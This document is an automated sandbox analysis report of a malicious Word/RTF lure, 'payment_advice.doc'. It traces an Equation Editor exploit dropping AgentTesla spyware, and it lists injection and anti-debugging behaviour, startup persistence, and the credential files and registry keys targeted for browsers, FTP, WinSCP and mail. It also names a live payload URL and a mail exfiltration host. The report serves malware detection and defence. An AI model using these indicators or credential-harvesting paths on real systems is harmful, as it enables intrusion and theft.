Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Thread information set: HideFromDebugger	Jump to behavior

Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Roaming\twox67345.exe

Code function: 9_2_00617128 LdrInitializeThunk,LdrInitializeThunk,

9_2_00617128

Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Roaming\twox67345.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\AppData\Roaming\twox67345.exe	Memory written: C:\Users\user\AppData\Roaming\twox67345.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Memory written: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe base: 400000 value starts with: 4D5A			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\twox67345.exe C:\Users\user\AppData\Roaming\twox67345.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process created: C:\Users\user\AppData\Roaming\twox67345.exe C:\Users\user\AppData\Roaming\twox67345.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process created: C:\Users\user\AppData\Roaming\twox67345.exe C:\Users\user\AppData\Roaming\twox67345.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process created: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1	Jump to behavior

Source: twox67345.exe, 00000009.00000002.2360354823.0000000002835000.00000004.00000001.sdmp	Binary or memory string: <br><font color="#008000"><b>[ </b>Program Manager <b>]</b> <font color="#000000">(02/23/2021 17:04:17)</font></font><br><font color="#008000">{Win}</font>r
Source: twox67345.exe, 00000009.00000002.2360354823.0000000002835000.00000004.00000001.sdmp	Binary or memory string: Program Manager48
Source: twox67345.exe, 00000009.00000002.2359872693.0000000000E80000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: twox67345.exe, 00000009.00000002.2360354823.0000000002835000.00000004.00000001.sdmp	Binary or memory string: my<br><font color="#008000"><b>[ </b>Program Manager <b>]</b> <font color="#000000">(02/23/2021 17:04:17)</font></font><br>\|
Source: twox67345.exe, 00000009.00000002.2359872693.0000000000E80000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: twox67345.exe, 00000009.00000002.2360374294.000000000283C000.00000004.00000001.sdmp	Binary or memory string: Time: 02/23/2021 16:55:48<br>User Name: user<br>Computer Name: 642294<br>OSFullName: Microsoft Windows 7 Professional <br>CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz<br>RAM: 8191.25 MB<br><hr><br><font color="#008000"><b>[ </b>Program Manager <b>]</b> <font color="#000000">(02/23/2021 17:04:17)</font></font><br><font color="#008000">{Win}</font>r
Source: twox67345.exe, 00000009.00000002.2360354823.0000000002835000.00000004.00000001.sdmp	Binary or memory string: <br><font color="#008000"><b>[ </b>Program Manager <b>]</b> <font color="#000000">(02/23/2021 17:04:17)</font></font><br><font color="#008000">{Win}</font>
Source: twox67345.exe, 00000009.00000002.2359872693.0000000000E80000.00000002.00000001.sdmp	Binary or memory string: !Progman
Source: twox67345.exe, 00000009.00000002.2360374294.000000000283C000.00000004.00000001.sdmp	Binary or memory string: Time: 02/23/2021 16:55:48<br>User Name: user<br>Computer Name: 642294<br>OSFullName: Microsoft Windows 7 Professional <br>CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz<br>RAM: 8191.25 MB<br><hr><br><font color="#008000"><b>[ </b>Program Manager <b>]</b> <font color="#000000">(02/23/2021 17:04:17)</font></font><br><font color="#008000">{Win}</font>r\

Language, Device and Operating System Detection:

Source: C:\Users\user\AppData\Roaming\twox67345.exe	Queries volume information: C:\Users\user\AppData\Roaming\twox67345.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Queries volume information: C:\Users\user\AppData\Roaming\twox67345.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Queries volume information: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Queries volume information: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Queries volume information: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\twox67345.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000009.00000002.2360157880.0000000002701000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2274734212.000000000368E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2360028702.00000000022B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2358876665.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2358961317.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2334670047.000000000374E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UGxXf.exe PID: 2500, type: MEMORY
Source: Yara match	File source: Process Memory Space: twox67345.exe PID: 2292, type: MEMORY
Source: Yara match	File source: Process Memory Space: twox67345.exe PID: 2952, type: MEMORY
Source: Yara match	File source: 11.2.UGxXf.exe.39bd920.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.twox67345.exe.38b4700.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.twox67345.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.UGxXf.exe.3974700.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.twox67345.exe.38fd920.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.UGxXf.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.UGxXf.exe.3974700.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.twox67345.exe.38fd920.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.UGxXf.exe.39bd920.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.twox67345.exe.38b4700.9.raw.unpack, type: UNPACKEDPE

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Roaming\twox67345.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini			Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\AppData\Roaming\twox67345.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 00000009.00000002.2360157880.0000000002701000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: twox67345.exe PID: 2952, type: MEMORY

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000009.00000002.2360157880.0000000002701000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2274734212.000000000368E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2360028702.00000000022B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2358876665.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2358961317.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2334670047.000000000374E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UGxXf.exe PID: 2500, type: MEMORY
Source: Yara match	File source: Process Memory Space: twox67345.exe PID: 2292, type: MEMORY
Source: Yara match	File source: Process Memory Space: twox67345.exe PID: 2952, type: MEMORY
Source: Yara match	File source: 11.2.UGxXf.exe.39bd920.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.twox67345.exe.38b4700.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.twox67345.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.UGxXf.exe.3974700.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.twox67345.exe.38fd920.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.UGxXf.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.UGxXf.exe.3974700.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.twox67345.exe.38fd920.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.UGxXf.exe.39bd920.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.twox67345.exe.38b4700.9.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation111	Registry Run Keys / Startup Folder1	Process Injection112	Disable or Modify Tools1	OS Credential Dumping2	File and Directory Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution13	Boot or Logon Initialization Scripts	Registry Run Keys / Startup Folder1	Obfuscated Files or Information1	Input Capture11	System Information Discovery114	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Encrypted Channel1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter1	Logon Script (Windows)	Logon Script (Windows)	Timestomp1	Credentials in Registry1	Security Software Discovery221	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Masquerading1	NTDS	Virtualization/Sandbox Evasion14	Distributed Component Object Model	Input Capture11	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Virtualization/Sandbox Evasion14	LSA Secrets	Process Discovery2	SSH	Clipboard Data1	Data Transfer Size Limits	Application Layer Protocol132	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Process Injection112	Cached Domain Credentials	Application Window Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Hidden Files and Directories1	DCSync	Remote System Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
payment_advice.doc	44%	ReversingLabs	Document-RTF.Exploit.CVE-2017-11882

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\twox67345.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\twox[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\twox[1].exe	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\AppData\Roaming\twox67345.exe	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
9.2.twox67345.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1138205		Download File
16.2.UGxXf.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1138205		Download File

Domains

Source	Detection	Scanner	Label	Link
mail.tpcdel.com	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://coroloboxorozor.com/base/4AE44766E50C275550C63C95498C19FE.html	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://tunedinblog.com/wp-includes/twox.exe	100%	Avira URL Cloud	malware
http://coroloboxorozor.com	0%	Avira URL Cloud	safe
http://coroloboxorozor.com/base/C56E2AF17B6C065E85DB9FFDA54E4A78.html	0%	Avira URL Cloud	safe
https://n2pGpXVLT5FR.net	0%	Avira URL Cloud	safe
http://mail.tpcdel.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mail.tpcdel.com	103.35.120.75	true	true	2%, Virustotal, Browse	unknown
coroloboxorozor.com	172.67.172.17	true	false		unknown
tunedinblog.com	150.95.81.183	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://coroloboxorozor.com/base/4AE44766E50C275550C63C95498C19FE.html	false	Avira URL Cloud: safe	unknown
http://tunedinblog.com/wp-includes/twox.exe	true	Avira URL Cloud: malware	unknown
http://coroloboxorozor.com/base/C56E2AF17B6C065E85DB9FFDA54E4A78.html	false	Avira URL Cloud: safe	unknown
https://n2pGpXVLT5FR.net	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.%s.comPA	twox67345.exe, 00000004.00000002.2283901109.00000000059F0000.00000002.00000001.sdmp, twox67345.exe, 00000009.00000002.2363872886.0000000005DA0000.00000002.00000001.sdmp, UGxXf.exe, 0000000B.00000002.2341353479.0000000005A80000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	twox67345.exe, 00000004.00000002.2283901109.00000000059F0000.00000002.00000001.sdmp, twox67345.exe, 00000009.00000002.2363872886.0000000005DA0000.00000002.00000001.sdmp, UGxXf.exe, 0000000B.00000002.2341353479.0000000005A80000.00000002.00000001.sdmp	false		high
http://coroloboxorozor.com	twox67345.exe, 00000004.00000002.2272663469.00000000022D1000.00000004.00000001.sdmp, UGxXf.exe, 0000000B.00000002.2330351390.0000000002391000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	twox67345.exe, 00000004.00000002.2272663469.00000000022D1000.00000004.00000001.sdmp, UGxXf.exe, 0000000B.00000002.2330351390.0000000002391000.00000004.00000001.sdmp	false		high
http://mail.tpcdel.com	twox67345.exe, 00000009.00000002.2360313482.0000000002814000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.172.17	unknown	United States	13335	CLOUDFLARENETUS	false
150.95.81.183	unknown	Singapore	135161	GMO-Z-COM-THGMO-ZcomNetDesignHoldingsCoLtdSG	true
103.35.120.75	unknown	India	9430	STPI-NOIDASoftwareTechnologyParksofIndiaBlock-IVIN	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	356799
Start date:	23.02.2021
Start time:	16:53:01
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	payment_advice.doc
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winDOC@20/9@10/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 0.6% (good quality ratio 0.1%) Quality average: 7.4% Quality standard deviation: 23.3%
HCA Information:	Successful, ratio: 96% Number of executed functions: 133 Number of non-executed functions: 16
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe, WmiPrvSE.exe, svchost.exe Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:53:37	API Interceptor	127x Sleep call for process: EQNEDT32.EXE modified
16:53:43	API Interceptor	554x Sleep call for process: twox67345.exe modified
16:55:09	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ZozjABYW C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe
16:55:18	API Interceptor	334x Sleep call for process: UGxXf.exe modified
16:55:18	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ZozjABYW C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
172.67.172.17	New Order 2300030317388 InterMetro.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/26C9E19CD43562C78CD12FB7DF6FEC19.html
	CN-Invoice-XXXXX9808-19011143287989.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/EFDD2E5486C74022C50C219C9576AB0D.html
	SecuriteInfo.com.Variant.Bulz.368783.31325.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/753007B764720AC1F46C7741AC807FF3.html
	0603321WG_0_1 pdf.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/008D1C43D45C0A742A0D32B591796DBD.html
	Payment_pdf.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/4E6D09D3FE7F5C729D5893BBC810E319.html
	RG6ws8jWUJ.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/45B656EF859B906DB2A5636A30447A39.html
	VIws8bzjD5.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/C56E2AF17B6C065E85DB9FFDA54E4A78.html
	PURCHASE ITEMS.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/67217E30C926335AF77F6F876C4096EF.html
	CN-Invoice-XXXXX9808-19011143287992.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/B7EE0CB8A1B54170208E8AC026859710.html
	quotation_PR # 00459182..exe	Get hash	malicious	Browse	coroloboxorozor.com/base/4FD4067B934700360B786D96F374CFDE.html
	PAYMENTADVICENOTE103_SWIFTCOPY0909208.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/79E1649C3374034D720AAEAD0A4C189E.html
	XP 6.xlsx	Get hash	malicious	Browse	coroloboxorozor.com/base/753007B764720AC1F46C7741AC807FF3.html
	PAYRECEIPT.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/FB9E1E734185F7528241A9972CE86875.html
	PO#87498746510.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/DDE952AA72FAB0CCAD37093397BB54C4.html
	TT.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/67C230E277706E38533C2138734032C2.html
	Payment_pdf.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/07E3F6F835A7792863F708E23906CE42.html
	TT.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/40B9FF72D3F4D8DF64BA5DD4E106BE04.html
	Invoices.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/E8B364AD7156AB4D7DED9F03FD919CE3.html
	Authorization Letter for Hiretech.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/94373684A3FEEB5727B680244074B411.html
	Doc_3975465846584657465846486435454,pdf.exe	Get hash	malicious	Browse	coroloboxorozor.com/base/92C7F4831C860C5A2BD3269A6771BC0C.html

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
mail.tpcdel.com	VIws8bzjD5.exe	Get hash	malicious	Browse	103.35.120.75
	30998-pdf.exe	Get hash	malicious	Browse	103.35.120.75
	swift_copy_pdf.exe	Get hash	malicious	Browse	103.35.120.75
	76a1YdPyL5.exe	Get hash	malicious	Browse	103.35.120.75
	purchase_order_pdf.exe	Get hash	malicious	Browse	103.35.120.75
	wire_transfer.pdf.exe	Get hash	malicious	Browse	103.35.120.75
	wire transfer payment.exe	Get hash	malicious	Browse	103.35.120.75
	Payment advice.exe	Get hash	malicious	Browse	103.35.120.75
	UPDATED SOA.exe	Get hash	malicious	Browse	103.35.120.75
	2k6NyeiHKE.exe	Get hash	malicious	Browse	103.35.120.75
coroloboxorozor.com	New Order 2300030317388 InterMetro.exe	Get hash	malicious	Browse	172.67.172.17
	CN-Invoice-XXXXX9808-19011143287989.exe	Get hash	malicious	Browse	172.67.172.17
	SecuriteInfo.com.Variant.Bulz.368783.31325.exe	Get hash	malicious	Browse	104.21.71.230
	PRICE LIST (NOVEMBER 2020).exe	Get hash	malicious	Browse	104.21.71.230
	A4-058000200390-10-14_REV_pdf.exe	Get hash	malicious	Browse	104.21.71.230
	Purchase_order_397484658464974945648447564845.exe	Get hash	malicious	Browse	104.21.71.230
	0603321WG_0_1 pdf.exe	Get hash	malicious	Browse	172.67.172.17
	Payment_pdf.exe	Get hash	malicious	Browse	172.67.172.17
	RG6ws8jWUJ.exe	Get hash	malicious	Browse	172.67.172.17
	VIws8bzjD5.exe	Get hash	malicious	Browse	104.21.71.230
	PURCHASE ITEMS.exe	Get hash	malicious	Browse	172.67.172.17
	CN-Invoice-XXXXX9808-19011143287992.exe	Get hash	malicious	Browse	172.67.172.17
	quotation_PR # 00459182..exe	Get hash	malicious	Browse	104.21.71.230
	PURCHASE ORDER CONFIRMATION.exe	Get hash	malicious	Browse	104.21.71.230
	PAYMENTADVICENOTE103_SWIFTCOPY0909208.exe	Get hash	malicious	Browse	172.67.172.17
	XP 6.xlsx	Get hash	malicious	Browse	172.67.172.17
	PAYRECEIPT.exe	Get hash	malicious	Browse	104.21.71.230
	New Order.exe	Get hash	malicious	Browse	104.21.71.230
	PO#87498746510.exe	Get hash	malicious	Browse	172.67.172.17
	TT.exe	Get hash	malicious	Browse	172.67.172.17

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
GMO-Z-COM-THGMO-ZcomNetDesignHoldingsCoLtdSG	Order KV_RQ-74368121doc.rtf	Get hash	malicious	Browse	150.95.81.183
	inquiry.doc	Get hash	malicious	Browse	150.95.81.183
	receipt.doc	Get hash	malicious	Browse	150.95.81.183
	Purchase Order KVRQ-743012021.doc	Get hash	malicious	Browse	150.95.81.183
	Proforma Invoice.doc	Get hash	malicious	Browse	150.95.81.183
	902178.rtf	Get hash	malicious	Browse	150.95.81.183
	Vendor from.doc	Get hash	malicious	Browse	150.95.81.183
	Proforma Invoice.doc	Get hash	malicious	Browse	150.95.81.183
	ENQUIRY.doc	Get hash	malicious	Browse	150.95.81.183
	Paymentadvise.doc	Get hash	malicious	Browse	150.95.81.183
	USD21053.00.doc	Get hash	malicious	Browse	150.95.81.183
	scan-021521DHL delivery.doc	Get hash	malicious	Browse	150.95.81.183
	scan-021521DHL delivery doc.doc	Get hash	malicious	Browse	150.95.81.183
	New Order.doc	Get hash	malicious	Browse	150.95.81.183
	Factura021121_pdf.doc	Get hash	malicious	Browse	150.95.81.183
	Corporation Bank.doc	Get hash	malicious	Browse	150.95.81.183
	S519123519485518465.doc	Get hash	malicious	Browse	150.95.81.183
	SEA LION QUOTATION.doc	Get hash	malicious	Browse	150.95.81.183
	New Order 09022021.doc	Get hash	malicious	Browse	150.95.81.183
	PO-202002FIVEBRO.doc	Get hash	malicious	Browse	150.95.81.183
CLOUDFLARENETUS	Purchase Order.exe	Get hash	malicious	Browse	104.21.19.200
	dot crypted.exe	Get hash	malicious	Browse	104.21.19.200
	New Order 2300030317388 InterMetro.exe	Get hash	malicious	Browse	172.67.172.17
